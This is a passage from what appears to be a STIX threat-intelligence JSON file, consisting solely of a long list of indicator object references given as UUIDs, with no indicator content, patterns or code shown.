        "indicator--a55c257b-2590-4458-9572-55707488a1b5",
        "indicator--f1ecd768-6741-465c-8051-707aa4ffcc98",
        "indicator--09136f3c-7c06-4fc6-9e1c-91bece5420b7",
        "indicator--99c8c2db-1802-414a-8c7e-2c3c9e555381",
        "indicator--732030c7-3fcc-42e4-958c-c17f32ec374e",
        "indicator--1ee04a1c-4513-4107-9ac5-8e7848d845ea",
        "indicator--5666e6e5-f878-4df5-86bd-9456658d0af7",
        "indicator--09402f73-9814-4488-b0eb-7452346ed125",
        "indicator--3d73ada2-3ac9-425b-b82e-6a1da74c44cc",
        "indicator--842a0441-2caf-443c-93e5-c594b868ad16",
        "indicator--d0822daa-6746-4889-9e0b-85a8ad5d4a2c",
        "indicator--6523d428-82bd-4b76-9c51-3abd90a3c717",
        "indicator--0c7227ec-15b5-4618-98e0-6e80ac030e3f",
        "indicator--2e20cd08-d915-47b9-99d1-f8b59290b08d",
        "indicator--295767fc-3a03-4c3d-8ab3-de458d384da3",
        "indicator--1b5c9339-5d12-4584-a598-43f4fdcaff6d",
        "indicator--6fdaf4d8-41e7-445a-82f0-a66c516a4575",
        "indicator--1d17f018-f385-4e6e-a574-e35fe3ab283d",
        "indicator--06370de5-de2a-4fa0-b32c-873bbc47ba6d",
        "indicator--93518bca-0ab0-4420-8c32-491bf2894fab",
        "indicator--512dfdc4-17cd-4a58-9d91-05af52a57875",
        "indicator--28b30411-9942-4400-9a95-05b569afb4e2",
        "indicator--9df25038-dfb5-4850-a747-a3d025ca6c6c",
        "indicator--6fea38f2-48e1-4765-a27a-2d87e887fd9e",
        "indicator--2039275e-5655-43b3-8555-7d407a29932b",
        "indicator--0168f86c-8715-4459-ac42-752fd3a11d30",
        "indicator--c6781b56-df94-4a57-937e-6c36aad0ee1f",
        "indicator--83059092-1b89-4e2a-8802-c3ea629ce24a",
        "indicator--d5456041-c2ce-4a11-aabf-ddc0d7ad9d7b",
        "indicator--d94b7fab-10d8-48c2-a6e3-89816e9327e3",
        "indicator--9a450010-6a43-43c0-94ab-beaa0f5c4eca",
        "indicator--6e0b97f1-2496-4ec0-99ca-b0cd29192b84",
        "indicator--8686ef8d-a8f6-4860-b6b9-be4857732fff",
        "indicator--57261f38-7be8-4768-bfb9-f10d718f3c0a",
        "indicator--e93630ca-9b0a-4f75-91cc-69ff8b7a84bd",
        "indicator--7f3846c5-ff7f-4be9-986f-04cd24f20eae",
        "indicator--d892459e-b283-4d09-a6b3-13f09c1b921a",
        "indicator--ea8a4ac1-ed2e-486e-a2ba-1422d4a62b94",
        "indicator--2c8db0d3-6a52-48a1-bfe4-dca4599349cd",
        "indicator--730aedf8-1ad5-4183-b26a-768a3ea9c3be",
        "indicator--f8a3ae2b-73d3-4bb6-a9ee-74188536f9b5",
        "indicator--26e129f2-ac8a-4b8f-8f76-8145e29e0f29",
        "indicator--e29450d4-2f3a-4325-993a-45e6a3cad5a2",
        "indicator--5c4f5e83-a172-45a0-a539-2c1bb63d40f5",
        "indicator--3dfd3d5b-3026-439a-8b9f-691625a377f4",
        "indicator--6cd64ce8-c47f-4e70-a9e3-9c9b8ccca6a7",
        "indicator--4cc7ee75-90bc-45bc-b52d-b24dd55a7cbd",
        "indicator--b6fc8436-edb2-4897-aec0-7721ab76a3b4",
        "indicator--60071195-ee13-48a2-8ecd-feea712d7bb1",
        "indicator--db1729fc-7dc0-4361-acec-40d6e4d7f60a",
        "indicator--f78738e0-02ef-4626-ba96-c78d25bd3a61",
        "indicator--3055923a-44dc-4905-8ea1-d16afa25e4cb",
        "indicator--6f76c2af-b3e4-40a7-b88c-dfd4b9b18b89",
        "indicator--8624f336-5f5d-49b0-af1b-5d957ac03a4d",
        "indicator--bbafbd18-f68f-4f7d-85df-53f5861fce62",
        "indicator--cfa977cc-1350-4b0e-9131-8d0d53a1308b",
        "indicator--ffda49f7-883e-437e-844f-da782b91cbaa",
        "indicator--55317e72-56b0-4cac-9067-b238242f298f",
        "indicator--84e5fa4f-03cf-422f-a3ad-004ea94063f9",
        "indicator--7ecd632e-5947-4d2e-9e20-5c4c9e7d08ff",
        "indicator--13f4fcc5-d858-4939-98c5-064fdfa37675",
        "indicator--1be3e338-8868-4fd0-b5a9-75180263c1d1",
        "indicator--28026509-1084-4841-9bda-976eb997f9b3",
        "indicator--95e891a5-9eb4-45e2-a4c4-8c2aca59d083",
        "indicator--5a76e15a-f83d-40f0-adb5-e111a28a70d7",
        "indicator--3836e807-c82c-4fc0-9231-829940edfeea",
        "indicator--b88b2e92-e71f-4188-99a1-0d33e496c774",
        "indicator--8ca09de1-a827-43ff-a57b-82ac75363cbc",
        "indicator--9699b134-d09d-4135-8964-52b44b6a67a5",
        "indicator--d14e47c2-9203-4b88-99b9-210cfe5ae7a1",
        "indicator--9ed034f1-9d66-44e7-adba-72f193cb42ab",
        "indicator--37f601b4-2b4b-460b-8d80-c4270c3bda56",
        "indicator--009391c1-90f3-4663-9203-ef7ec88ebbc2",
        "indicator--ee828333-c1c3-4212-9b6a-cb05249fa823",
        "indicator--dbd80d8c-79c6-4868-b4e7-01f5e2c60cb4",
        "indicator--6e4bd7c2-08c6-41b8-9bc3-4de480bff387",
        "indicator--135026d9-38f8-41ff-b906-ac2ca11258cd",
        "indicator--4ec999e6-f9a9-4874-92ca-ea7897c02e8e",
        "indicator--fe74ef71-2817-4f58-987f-e7cdce70c290",
        "indicator--2cfd4978-f446-4a55-9197-88334935a516",
        "indicator--4ca69eda-ece6-4025-8967-ac6e4cf1f575",
        "indicator--a0020369-5e6f-47d9-8f0f-5c727df58be0",
        "indicator--94414046-b7a4-43d6-a3b3-c6bb84885cec",
        "indicator--0cf8a178-03ab-47a6-9dff-0a9812afdc69",
        "indicator--e834318d-da76-44e3-a670-9814612da3b4",
        "indicator--b9920d2f-9ebf-4401-89e4-a8e9a851da5e",
        "indicator--fc5e2e45-93bd-449d-948c-92349641f03b",
        "indicator--5e2f6d3a-b311-4e18-903d-a3e5939d861a",
        "indicator--31b678ec-a7eb-4317-a7d5-c34fb6523112",
        "indicator--aa83a6bc-4c43-47fe-afd2-69959244c087",
        "indicator--d897491b-1b18-4222-8a7a-27df612ac723",
        "indicator--8945dbbd-ab2c-43e9-a1d1-ee0f0a24dcd1",
        "indicator--5b9af4be-176b-4859-89b2-2f6f71363fad",
        "indicator--d1b159c7-ab87-497a-8fae-f236cc469bb2",
        "indicator--f009e501-5d49-4932-85dc-ed620b490a88",
        "indicator--48b30752-5d7f-4661-9913-bd3f70d49884",
        "indicator--30b43fe2-ee1b-4799-b868-cf7be8d237a6",
        "indicator--16137dfe-615b-45ae-9b39-77e04e0fdc48",
        "indicator--1cfb0e88-a06c-462a-8a50-11533bcefc2d",
        "indicator--b3cf7f75-6cbc-4e58-9b73-b6a11e3c284a",
        "indicator--3bb20d37-3d25-48d5-bdfe-e1b9c38627ca",
        "indicator--f5f22900-d998-47f7-b938-3916991199b9",
        "indicator--e288a71a-222c-473d-9cb9-1bd0f7aa2ef5",
        "indicator--430a82be-e9b1-4946-be04-3f0a0fa494cb",
        "indicator--1b280143-2b6e-4c91-88ee-6713f2a568e3",
        "indicator--4cd73407-d570-46b2-bfc9-fd1ebe9ece4a",
        "indicator--b5ceea5d-e29e-41ce-85df-b32251a9b53b",
        "indicator--2232d23f-450d-49b7-9bfa-e521f5b4dd3a",
        "indicator--ff6e4df6-08d3-48f3-9854-edb941afd985",
        "indicator--86b53e78-60e8-4a9b-b780-5492f3f6763b",
        "indicator--8a0e60c9-a37b-4118-bc45-240eefdc3340",
        "indicator--3dbafeb3-f3ce-4c72-af97-e23bb666f24b",
        "indicator--ee04c6e2-d085-4d2d-9754-b0e30a5e823c",
        "indicator--3cbd8787-5fda-4d00-bc44-23fc99cf6b2e",
        "indicator--8ecd4131-e596-4f5f-a97d-ff6f16394e5e",
        "indicator--a736981c-fe49-437e-908b-f6c8ce94d760",
        "indicator--f83431a1-0437-41cd-b9fd-50b5d62a11d8",
        "indicator--daa03cb5-bf75-41f0-9f07-2c639d9fd7da",
        "indicator--6023c7e9-42b2-4402-ba67-c31a31d110f8",
        "indicator--73ea3dfa-d6b0-492a-bc15-b6d17975f1b0",
        "indicator--f11c2c43-e7bc-4c18-b937-3309a1490a89",
        "indicator--23ac498a-4f92-4f85-9600-17b8af7481bc",
        "indicator--3435ecd5-9cb7-4d34-a97c-bdfb9d6a13fe",
        "indicator--42154424-6af5-4ba4-9936-be8880c32254",
        "indicator--d90ab4fc-f733-43a7-9767-e02314ea215e",
        "indicator--5d6e3de9-5d1f-42cb-925a-feee33a28016",
        "indicator--2e5acbda-dbf0-4b5d-95f5-4069856cb539",
        "indicator--768f8e15-aa8c-4dfe-9684-6094930ac8e3",
        "indicator--898dea92-914f-4ca5-a89f-c1b9fa60e22b",
        "indicator--e6c3fe01-8368-4afc-b2e4-c0028f88dfe0",
        "indicator--3e5ede41-a071-4c8f-a2af-fea37d8c253c",
        "indicator--1d6ede18-4a36-4095-8434-67760051c8cd",
        "indicator--92c388ce-22d1-4a91-9647-738104ab6ea8",
        "indicator--d9931e12-0336-4d18-9234-343313752c34",
        "indicator--f1be664c-f209-475d-a5c7-106ecf9204e3",
        "indicator--af7d6e3f-5e6c-4547-b3cd-784ea089c323",
        "indicator--ae4437c8-e3d9-4a0a-9f01-a35bd375ee79",
        "indicator--d1ecc734-6e5d-45c7-af21-4c9ef521712e",
        "indicator--94ffdcb5-1f89-46a6-a13e-923c4761db50",
        "indicator--2654d5f2-1c5c-40e0-af47-7cba998fd0ad",
        "indicator--1061bfb0-3236-4ad5-a766-551907b67ee6",
        "indicator--5f504660-96c8-484e-8e4f-342bd62e1203",
        "indicator--b064f98e-d90b-4713-86c8-8a788d23a4a6",
        "indicator--fd064b1f-271c-4fc1-a147-7bbee2ffd23b",
        "indicator--6cf14b04-8e5d-47bb-85fe-d09b85c0fec5",
        "indicator--ab68addc-332d-47d4-bd34-11dfdd1d6fea",
        "indicator--71a33d9a-ea64-4c76-94f0-c7f09a27c746",
        "indicator--90e44f12-febe-4072-a74a-192320237b2d",
        "indicator--34962308-3232-42ef-b1c1-ac209afb83df",
        "indicator--55774c0d-108b-48cf-b09a-b9f727493481",
        "indicator--f519652b-5ac6-4885-9954-ae576f6d1394",
        "indicator--93335f29-35c5-47d4-a5bd-26457c2dfea8",
        "indicator--bb4bd878-ca32-4115-8a3b-171af41c82fa",
        "indicator--b2eb796f-5fcf-4c51-a52c-52cf5a943f31",
        "indicator--f09fcaf6-4c84-4f13-acd0-68c238128a9d",
        "indicator--de43aa8d-ba3a-4185-8e79-511893d35f9d",
        "indicator--1b393b96-7368-450a-bd4b-1f2a5ec14603",
        "indicator--ac94396d-a003-4135-a412-66516ebf546a",
        "indicator--3d50841d-b9ca-4124-8977-daef1ea7cc14",
        "indicator--95255191-f035-49a1-9e88-34d0ed6fdae7",
        "indicator--7503ca12-c625-49e8-9906-c1459b7fbcde",
        "indicator--70e2ecb9-32e3-4df5-8e6a-f16a8886e97f",
        "indicator--a52d7880-393c-41ec-88b2-c5cf9a71cd10",
        "indicator--3e6158f9-ac5e-4e30-8e63-c4b82bbf4a13",
        "indicator--dd43653e-2bae-4868-a9e2-b848e9acdc96",
        "indicator--83e41906-c1de-464d-af65-cee917003be1",
        "indicator--84971ae4-b6dc-470c-85b5-89a753985a5b",
        "indicator--aa6550ea-b5ad-4985-93f8-894fbf946be1",
        "indicator--de01f5df-2210-4c8c-b5a3-d31a12175373",
        "indicator--a8887d05-29c8-445b-9607-885c5c38e5ac",
        "indicator--ad7f8e10-c6f7-4734-b1f6-c1156f8f5de9",
        "indicator--54f722b4-3094-482a-98d0-ad844208fe70",
        "indicator--c0493358-75b4-4e24-b406-8e3fbc05988b",
        "indicator--9c75e9e4-5b7b-47ca-9622-1c8e9fc1048f",
        "indicator--c8c34986-a7b3-4a60-8e50-5f412807d6f0",
        "indicator--d3fa70ae-b3db-45de-8ef9-2a3a5caaf8ed",
        "indicator--c49822db-850c-4da7-b048-e43142d609e1",
        "indicator--084dfa9f-4427-4662-a37e-febe2a0bf1d0",
        "indicator--fc941a48-b38f-4f4e-8b1f-497d8f059a8e",
        "indicator--2ad71e7e-3f53-4d9f-888b-8395ffed8e54",
        "indicator--4c5bb55f-5889-445d-9759-40dd488ca993",
        "indicator--6b0da8bc-1783-498f-aea6-3fb99a4a9a7e",
        "indicator--f1ee8dd3-43eb-4dbc-ba29-70d374295e48",
        "indicator--fe02a5bc-0c2d-49ba-b5e6-1a8255e8b3ba",
        "indicator--54bdb9f4-7ea1-4bc2-9a39-2541139a2943",
        "indicator--e6cc0f3e-d5d7-42ca-9056-be8488ae800b",
        "indicator--0910485a-04af-4cf6-8c76-b572b517a339",
        "indicator--0a63ee4d-8874-4fd6-99d7-b5f2d3753b56",
        "indicator--969f47ae-bca1-4ef1-958a-a53d480f050d",
        "indicator--c7a53978-fb6c-412d-aa03-d7ae58aee667",
        "indicator--a37b510b-57ed-41e1-99a7-32d34ac03483",
        "indicator--80dfa107-df84-41f5-b2c6-ae39bebcb93c",
        "indicator--7697f414-e2c9-452a-a7d0-45d12156c524",
        "indicator--6ca9c6ff-6973-4425-b6fe-0e98059a55f7",
        "indicator--f7b567c9-3e26-4c3f-8f92-f960fe49c889",
        "indicator--d361d59f-97c3-43fc-af84-ac116505bebf",
        "indicator--f1ef5e4f-dc58-406b-b4f7-248a9a7acfc1",
        "indicator--2762d1c0-af72-4b6d-adf2-bcf4ab90ee44",
        "indicator--4efc883e-a6fc-4626-839b-eb0ea5c033b3",
        "indicator--78537b05-960a-451d-86e4-b27fb9ec4f08",
        "indicator--d4d4cfdb-4070-440a-8993-7c6a2cab133f",
        "indicator--63ff9b10-a006-4e83-af5c-f83f6ae4a525",
        "indicator--3551b4d4-17e9-488a-9564-46b4b8309b4f",
        "indicator--87e225a0-92b5-45d5-9ec6-2fabdab82aa2",
        "indicator--cecf81cc-3924-4d8d-a7db-ef9c055a0907",
        "indicator--33f0e01d-23a6-4db7-ac6d-402a1f09c0b9",
        "indicator--390207de-0ff5-416e-83ac-728cb032613c",
        "indicator--a5811214-16e1-4a7b-9fb1-6788d2f5ca78",
        "indicator--0255afae-6178-412d-b922-abe5341f4ca1",
        "indicator--f82d0366-6222-414a-8ec2-3651bebbb515",
        "indicator--9ab72231-8be9-4d03-81a4-59a759f67bc6",
        "indicator--b703adfc-9800-43a3-a19d-59c1348bc895",
        "indicator--7b74b1b0-b2fd-4d9d-a2fa-76da278fa9f7",
        "indicator--9d5762a8-6e77-4a30-bf44-b21eeec3661c",
        "indicator--22131094-eb6a-4254-9ad8-2857866e7e43",
        "indicator--1293f416-eeef-444c-9124-74e79d1b9f08",
        "indicator--c143bc7e-95dc-4dfd-abba-2312b16e6f7c",
        "indicator--35faddfe-281d-4eef-b06e-21b68ad5e65a",
        "indicator--f483b62a-0579-42f9-bdf2-92fea356f597",
        "indicator--130f39ea-6b5a-4830-b6ea-af629832b817",
        "indicator--fda7f07b-c8d1-4e40-92f7-f738cedcc804",
        "indicator--57c0dcda-841a-4652-a63e-cc078a866443",
        "indicator--e6296516-6e0a-4d50-ad55-9b084032adee",
        "indicator--e89fb513-5dc1-4fe3-9f3a-045d31d3ace3",
        "indicator--61854f01-6bfb-4d3b-a971-b2b6d4bb82b3",
        "indicator--d3d32c89-aead-4249-a4bd-8675a801ded3",
        "indicator--97185b13-171e-4fb5-9a8b-41f941cedd8a",
        "indicator--d2c77195-fa0f-4fdd-9291-9dd382781f0d",
        "indicator--ca03089c-18dc-45d4-9e3d-172096de54b9",
        "indicator--b88d2430-ac7a-401f-87ae-839ade1f0a92",
        "indicator--eab22baf-64e5-410d-96d8-4365c110f5fe",
        "indicator--757845c4-5683-43b9-9153-36fd372192cd",
        "indicator--1468ce08-6409-424a-9f8f-013252bf61bf",
        "indicator--622fa626-3e35-4b9c-9800-d89a20283068",
        "indicator--fdbc00f7-7c1b-46ce-bdc0-fc0ec5fcc9ff",
        "indicator--f1fd26e4-e74f-4cc5-babe-6b6dbd59e24c",
        "indicator--195c265c-ba6e-4c4c-b5a7-e4cb4e62e2a5",
        "indicator--a4b093cd-9de1-4066-b0c5-9b493adc9a20",
        "indicator--6b4706ce-505d-417e-8264-5fc1cc2abafa",
        "indicator--a0834223-f67f-4f82-8e46-2674f5ccb90f",
        "indicator--f382c09d-ed9c-4959-9db2-b8d8126973ec",
        "indicator--231870a9-bb25-4d82-ba3e-a8dbc2ce60e6",
        "indicator--a5c4bbdb-0c78-4ec1-90f7-5e08661cab94",
        "indicator--3e2266f0-6b91-492a-ac87-b14bbb18c17d",
        "indicator--dd17d433-6f6b-4ae5-b6bd-51cf67db57ef",
        "indicator--442a16b4-f6c9-4cb0-a949-2acca6a6fb22",
        "indicator--959c7613-5117-4fc9-8955-a96bb20344d2",
        "indicator--89937d4d-e5e6-43af-919c-f907de1f2f6a",
        "indicator--7faab1fa-8822-4d41-82ce-6547ad8e6aa8",
        "indicator--257e1036-d576-4c61-b0e8-e711a11434b2",
        "indicator--ad5ff6ca-5d67-49da-a2ed-999ec0233187",
        "indicator--0fa35cb9-4dd4-40e8-812f-462394bfcb05",
        "indicator--83af419d-975c-4d93-a818-2e832e7f2618",
        "indicator--2bc6737f-0d30-4801-87e9-749d8c78013c",
        "indicator--dcf2cd35-8f32-4d7f-a6a6-efc9b8a0adfb",
        "indicator--fb5d8005-67ca-4d6a-bdba-d3cc0ddd9dcb",
        "indicator--f25e1c1d-3e2f-4e69-9a9b-e6a79564c328",
        "indicator--a0766539-debb-4a79-90e9-ab5643d8b4be",
        "indicator--cbbe9816-60e0-4864-996e-2411e7f7f888",
        "indicator--00de5403-7f14-429d-9b11-38c2e3b514d9",
        "indicator--cd2807bc-d84e-4d86-882a-9fb6bf166198",
        "indicator--1672567c-02a4-4c22-99fb-0f12e74ec11a",
        "indicator--ca45eeab-ae3d-4014-b5ff-ce5b2f648771",
        "indicator--b46e5676-612a-4509-a61f-a2bed4ed8cea",
        "indicator--423037cb-0d4c-43ec-af8e-64fdb3afc0a0",
        "indicator--0304ff76-dccb-44e7-905a-f1175afd9eb5",
        "indicator--b393e961-a19a-427a-9981-52a8127c2604",
        "indicator--72c8488d-8386-403a-9f5a-82c9aaa24adb",
        "indicator--8c80b8de-fc05-4866-8385-23be5552343c",
        "indicator--ec9f76ce-80f9-4b00-8e9c-c34a14dc63ca",
        "indicator--956afa00-39a3-4584-b6b5-801d2a31eb83",
        "indicator--134db202-a58c-430f-832c-dc0095cc1b0f",
        "indicator--48f0a3fd-4f54-41f9-9124-dacc6d646f3f",
        "indicator--2a86cccf-2fe7-4020-97e0-e543e144a4c9",
        "indicator--8a0528da-1164-4619-8fed-cdaa320d5ef1",
        "indicator--8d5ed199-7896-46fb-a791-bc279237da5e",
        "indicator--42b2be9f-f93a-4631-9880-58aace94a8a9",
        "indicator--8bb0263f-e129-4f2e-a9b2-88a45bcc4fe6",
        "indicator--2303acee-2166-4ffb-9d86-d3741c8eb264",
        "indicator--3a18bc90-e660-4473-8888-61c6d66f3e14",
        "indicator--7d338af9-f31e-4a81-9b6a-63134e348812",
        "indicator--3caa2fe4-3ef8-471e-ae7e-dca0d6b71d91",
        "indicator--95b53c0e-22b4-49b1-b5d8-54bb622e3367",
        "indicator--b2a83b28-fd15-47f7-9abc-6594b1466844",
        "indicator--7a7d9728-d9ed-4094-8f1b-830d1b8fc0ed",
        "indicator--334af8da-68ef-4803-86ba-3ce7c62b1094",
        "indicator--4a4c5943-9e53-4512-8967-1c557539a5bd",
        "indicator--1cf6b26b-f9ff-4503-aa39-c48a5b8076b6",
        "indicator--24d100f4-80d4-4c0b-869b-cf29e1748b0e",
        "indicator--16b98d80-01c7-497f-bbe5-3ac09971c5f2",
        "indicator--3f046f09-4d31-45bf-ad9d-5866af78eff7",
        "indicator--c1bb29f6-6d52-47fe-9ccd-b1f47b0a7c5d",
        "indicator--9127c3d0-19f3-43ec-ae7f-125b001f2920",
        "indicator--28b059ce-53a5-4cd9-b73e-e4ec6e8efc4c",
        "indicator--c45565df-cff0-4b89-83c1-6fa56de6b386",
        "indicator--823ba1de-f7b7-4464-9591-515a1b61f52a",
        "indicator--59653da6-87dd-43c1-abd3-c6bcae9c449a",
        "indicator--685ef743-7c50-49e2-812e-732700252164",
        "indicator--99aa786b-9b5e-45d8-a267-7fd93924123c",
        "indicator--b7426580-3410-41fb-b88c-ca8eea9c8808",
        "indicator--9fe71027-1950-484f-b2b8-70689bb7e8ab",
        "indicator--ec5033cb-0d00-4a8c-b059-de357b9686f6",
        "indicator--962f6b0b-953e-4e4b-835b-7e5650080ca8",
        "indicator--efce2aa2-017f-4835-b9c3-4a8588cc0fd4",
        "indicator--d041b35b-6ce9-4fdd-9878-8152965b1be3",
        "indicator--9b4f3d4d-89a2-4481-bac5-ede7b6e8958d",
        "indicator--233bf1f9-4dca-4c64-bc00-a3c01484eb37",
        "indicator--e9506c64-7c93-4ecf-9a4d-b2aa7ceaa48b",
        "indicator--5020628e-69e1-4504-a09e-a17fc9e6d486",
        "indicator--7e9cf4a4-b3d1-4821-8952-3f0ae6a9df5c",
        "indicator--356f22cd-5db5-43d3-9b36-fd44430ec2c5",
        "indicator--1583c68d-a25d-47eb-8a03-39b7e69b70c1",
        "indicator--c1ee1b7f-908a-4bbc-b90a-0fc5b60b0311",
        "indicator--f847a663-e3b6-4e7e-b9a6-5519230192b7",
        "indicator--4fd20af8-116c-47e3-82ad-652b42c2f4f6",
        "indicator--0f6bf8f8-beb1-4371-beda-1428aed01545",
        "indicator--69a73c4b-4549-497e-9d9a-8ddebcb237b9",
        "indicator--0a066013-4256-4f54-96ab-e92a46ca4ff9",
        "indicator--f65310cf-cd41-4590-ac67-3c450210c12b",
        "indicator--94e5c7bc-a4c4-4af6-91ec-1889ff8bf905",
        "indicator--90701e41-42a6-49c4-998f-77a774b383db",
        "indicator--d533bcf4-d26f-45a6-beb5-063714190890",
        "indicator--c3f2940b-0087-4b16-a3f0-b5d75c777d03",
        "indicator--7fbc5d09-a4f9-4da8-929f-cf681dd425db",
        "indicator--bb51ea1c-03af-4353-9f4f-449078a9af22",
        "indicator--e8c2a11c-46ec-4cc1-8d3b-58018c61f615",
        "indicator--7cb8c2f2-42f4-485c-8efa-b08eb322b196",
        "indicator--d2909f79-f8f7-4571-b18c-7273e860b928",
        "indicator--829191e5-fd48-4009-9de3-0d1ffbb6d11d",
        "indicator--b97899b0-bae8-4ab6-8418-253d639ec97c",
        "indicator--03b0672e-2bba-479c-860d-7e5d2a2feb37",
        "indicator--bed0dbff-1ad2-47b0-956b-a9e169ca6e2b",
        "indicator--8d2d7ccb-608a-4a44-a3b1-2a0d11c28ea4",
        "indicator--a816da94-bcb7-4b70-bd57-d9dab87ad9c4",
        "indicator--87e07e53-4a30-4ae1-b136-a208e56354c6",
        "indicator--4a13290b-b8ca-4e07-917a-175657498958",
        "indicator--1b3652f0-ad9c-40d0-b67b-69175eeb269b",
        "indicator--1dd48a74-3f52-43e1-bee8-81c8e951e78a",
        "indicator--8d0a3159-827d-40b5-8320-c371d6d8a150",
        "indicator--97126885-74e5-404a-bd94-faecf9b95f1b",
        "indicator--96d1ba76-6dfe-4018-9802-fa91574470a8",
        "indicator--8c79254c-2bd9-4679-a67d-af51383ddbd6",
        "indicator--ebf5513a-6efa-4db3-8f4f-c7abb005456a",
        "indicator--91a06d74-53c2-4ed8-96f9-c54cae6c63b0",
        "indicator--17012ab5-4836-4511-be99-29a660d5b563",
        "indicator--55a96ce6-beee-4af2-9679-a4b95c2d0183",
        "indicator--3a92ff93-a95b-4f13-8ce3-ca1ea0bb69d5",
        "indicator--4ddb14fc-d709-421c-8645-f11e4a014f52",
        "indicator--cdc2b746-51e3-4453-bbe6-9f667db7c070",
        "indicator--acff1d95-b933-4ceb-a948-ea0da643bcd0",
        "indicator--4af261e0-ed23-4739-9d5f-d03046006db4",
        "indicator--58830aeb-13a0-4264-ab8f-26a69b2c6452",
        "indicator--f612eec1-3fa0-4710-9769-aac7d5290bc6",
        "indicator--edfb6a35-7ff4-4c8b-85b3-7806c11f6334",
        "indicator--0e2e2bfb-4c2b-4aa0-9740-9a84a3797615",
        "indicator--925d0ac9-4903-4caf-91dc-e35a32a425d4",
        "indicator--fff4a3d9-3694-4f5a-8738-72d29230568d",
        "indicator--6471a26e-f550-46f5-b039-2b3b4d9405ad",
        "indicator--b439ae04-fad8-4b35-ad23-011af01bc650",
        "indicator--6d748b6f-8a69-423d-b6e8-560cdfbccbe4",
        "indicator--c99b57ce-b193-49c0-9fe3-744204985552",
        "indicator--1dc32eae-f9d0-4c5c-92d1-72bcdbf785b2",
        "indicator--d5bcc06a-2325-4564-98ce-5829e91ac1f2",
        "indicator--86b98e81-30ae-458c-adc6-a14b7b640543",
        "indicator--ece13c54-f99d-4dc2-b9ec-bdea73101be6",
        "indicator--ef18ff4f-ec06-4e5f-bb14-d4fb6945681d",
        "indicator--b081d511-b5a8-4cf8-8f60-780b7d810f01",
        "indicator--aa4961dc-e557-462c-b5a7-f3c039167e99",
        "indicator--eae8ac82-01dc-4de9-bfd9-e93133fec365",
        "indicator--a61242a8-5dd9-42ee-b15b-896514b1132f",
        "indicator--b28de25a-1400-4886-8568-c84f4da3b29a",
        "indicator--66929be4-8eee-41a0-9430-1e1b101ae524",
        "indicator--2c8a11dc-5cda-4dd1-ba9a-7ca7da77c33a",
        "indicator--e71f0229-95c2-408c-a382-ef803e68bdba",
        "indicator--fd57f02e-a11e-4941-90f0-c9a9547b9cc4",
        "indicator--9f6bb62b-0c91-42eb-a4a9-abf7f3de48b9",
        "indicator--2ca3f3e7-a2c0-4d35-85c5-cb5fcec03d47",
        "indicator--c7e2ed02-a47e-4b12-86b7-94f25b5271fd",
        "indicator--72fa06c0-e8c6-4f66-ac21-5a18f7b983a6",
        "indicator--90114b01-b8fd-4498-8e05-b4d901fd8f3a",
        "indicator--7ffff8c3-18ab-4dd6-af9c-4a27d0ce1c5a",
        "indicator--eb003749-d1fb-401f-82d0-35948b901e22",
        "indicator--36089666-9cf4-4bb5-9aec-41b7d6f1cfc6",
        "indicator--360d6ee1-32e9-4eda-bb22-0b7cb27f2688",
        "indicator--5176971f-4255-4a01-aa48-80d7a2caf86a",
        "indicator--dfb877a5-b5a1-4b39-a62a-07b081659434",
        "indicator--32365591-674e-4593-9cdc-d7de994746a6",
        "indicator--6a124f66-d172-4172-94d1-0ab6727b72ce",
        "indicator--2d5fa91d-9cba-4bb7-8745-e0ebc642ff80",
        "indicator--9608e808-fe43-4e98-a2f0-3d8ebf9842e4",
        "indicator--5b8472bc-cc14-4c6b-a500-1d11e3bb9d5c",
        "indicator--bd37c373-9127-4aaa-96a8-34c438dee896",
        "indicator--8623c6b6-36ec-4fee-973b-2389a5bd24d3",
        "indicator--4c80d8a6-05d2-4295-aca0-b1aca03d26fd",
        "indicator--d20785df-d323-4a38-9aab-fb27bf44ef55",
        "indicator--6c1ffb75-f44b-464c-b0d1-b28d901f7dcc",
        "indicator--fb464347-426a-4479-aa79-7508785fca12",
        "indicator--1f72f2bb-bca6-449a-9c7e-59b4aaf5ad1c",
        "indicator--40bb15e5-bde9-4b4a-a96e-185ade359633",
        "indicator--b3ef34be-dabd-4511-8c06-85a4e0c9c133",
        "indicator--89fd0d76-c92b-4747-adb1-e93c02929b1a",
        "indicator--05d0d12e-4ab8-42c8-9cad-9a0b74497311",
        "indicator--1f350faf-9072-4ff6-95d8-96446d03208a",
        "indicator--bc00c552-3177-47fa-a8c2-81ca13dca41d",
        "indicator--e3df89b3-730f-45d5-80a4-44cc7002e52a",
        "indicator--960ded00-60db-4c43-ab7d-fd086f598014",
        "indicator--ed18b913-75c8-4667-959c-77ba4e8e975d",
        "indicator--2a90d400-c1bf-43f1-bb19-ddad8f64233e",
        "indicator--b161eb59-2fbe-4321-9f1f-1103822531a9",
        "indicator--e764d0d7-cc37-4afc-84ad-caa9005292c2",
        "indicator--16eb148c-bb3d-4dc0-af04-d193c69a7482",
        "indicator--a0524b8e-87a5-4917-9ed2-365b3c23704e",
        "indicator--3bf8562e-207d-49dd-b606-0e7856b5ecea",
        "indicator--ea9c76dc-79ba-4b86-8420-a18c712cf410",
        "indicator--6584f493-9567-4fe0-87fb-b290579cb8c4",
        "indicator--ce8803a8-631f-4a98-a425-47b2b089006a",
        "indicator--603ac093-2996-45c0-a08c-40786ac0983a",
        "indicator--19f5ac80-6c0f-464d-b2eb-5a9f906c4a8f",
        "indicator--9a66bfae-530c-4452-8363-28233b39020c",
        "indicator--96bb7405-2804-4be1-a0b5-8ca4b422cb50",
        "indicator--c1b95ddf-7186-4bbe-8324-8eb79b0f5f9a",
        "indicator--57c33638-739d-4e50-8863-753442efd478",
        "indicator--53cf7b94-e46e-4b65-8d46-8ffcb7dacdf7",
        "indicator--10065a64-26fc-4ea4-95d7-c39694a20889",
        "indicator--92830519-b88d-4218-a01e-a671250cde26",
        "indicator--9913db84-c41e-415c-833c-36139c480e94",
        "indicator--4f5d3a05-479d-484d-af58-7efb60277a0f",
        "indicator--f25388c1-5760-4fcc-8699-d420b2e1fc5b",
        "indicator--927d1e6e-b430-46f6-88c9-9e7349733344",
        "indicator--dd2e465f-2ae5-40e1-a665-193851c8b7f3",
        "indicator--1bfd9f12-6083-4f9a-a532-f3d8480ac99d",
        "indicator--61894ab7-bcf7-4b18-b4a1-ab00a54fd071",
        "indicator--f393e0d8-483e-404f-9b07-de0c8e01a814",
        "indicator--925b59cf-6dd0-4382-9180-95fd102fa8f3",
        "indicator--8e266236-5d9b-4b70-894a-9ade21c15fc1",
        "indicator--c21d28e4-d4a3-434d-aae4-1a16eef89b7f",
        "indicator--f53147b2-5e07-407f-af6a-047829ee4ec6",
